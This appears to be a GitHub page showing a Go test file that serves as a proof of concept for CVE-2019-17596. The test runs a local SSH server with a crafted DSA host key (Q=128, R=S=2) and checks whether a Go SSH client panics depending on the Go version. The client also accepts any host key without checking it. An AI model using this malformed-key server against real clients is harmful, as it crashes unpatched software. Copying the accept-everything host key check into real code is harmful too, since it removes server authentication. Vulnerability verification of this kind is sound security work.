-
Notifications
You must be signed in to change notification settings - Fork 0
/
ssh_test.go
61 lines (53 loc) · 1.31 KB
/
ssh_test.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package poc_dsa_verify_CVE_2019_17596
import (
"fmt"
"github.com/gliderlabs/ssh"
"github.com/stretchr/testify/require"
gossh "golang.org/x/crypto/ssh"
"math/big"
"net"
"testing"
)
func TestSSHClientHostKey(t *testing.T) {
port, err := getRandomPort()
require.NoError(t, err)
addr := fmt.Sprintf("127.0.0.1:%d", port)
priv := examplePrivateKey()
priv.PublicKey.Q.SetInt64(128)
fs := &fakeSigner{
R: new(big.Int).SetInt64(2),
S: new(big.Int).SetInt64(2),
public: priv.PublicKey,
}
sshSigner, err := gossh.NewSignerFromSigner(fs)
require.NoError(t, err)
s := &ssh.Server{
Addr: addr,
Handler: func(session ssh.Session) {
defer session.Close()
session.Write([]byte("hello world\n"))
},
}
s.AddHostKey(sshSigner)
ln, err := net.Listen("tcp", addr)
require.NoError(t, err)
defer ln.Close()
go s.Serve(ln)
clientConfig := &gossh.ClientConfig{
HostKeyCallback: func(hostname string, remote net.Addr, key gossh.PublicKey) error {
return nil
},
}
tf := func() {
conn, err := gossh.Dial("tcp", addr, clientConfig)
require.NoError(t, err)
defer conn.Close()
}
if isFixed(t) {
t.Log("Using Go >= 1.13.2 -- SSH Client should work")
require.NotPanics(t, tf)
} else {
t.Log("Using Go <= 1.13.2 -- SSH Client will panic and test will fail")
require.Panics(t, tf)
}
}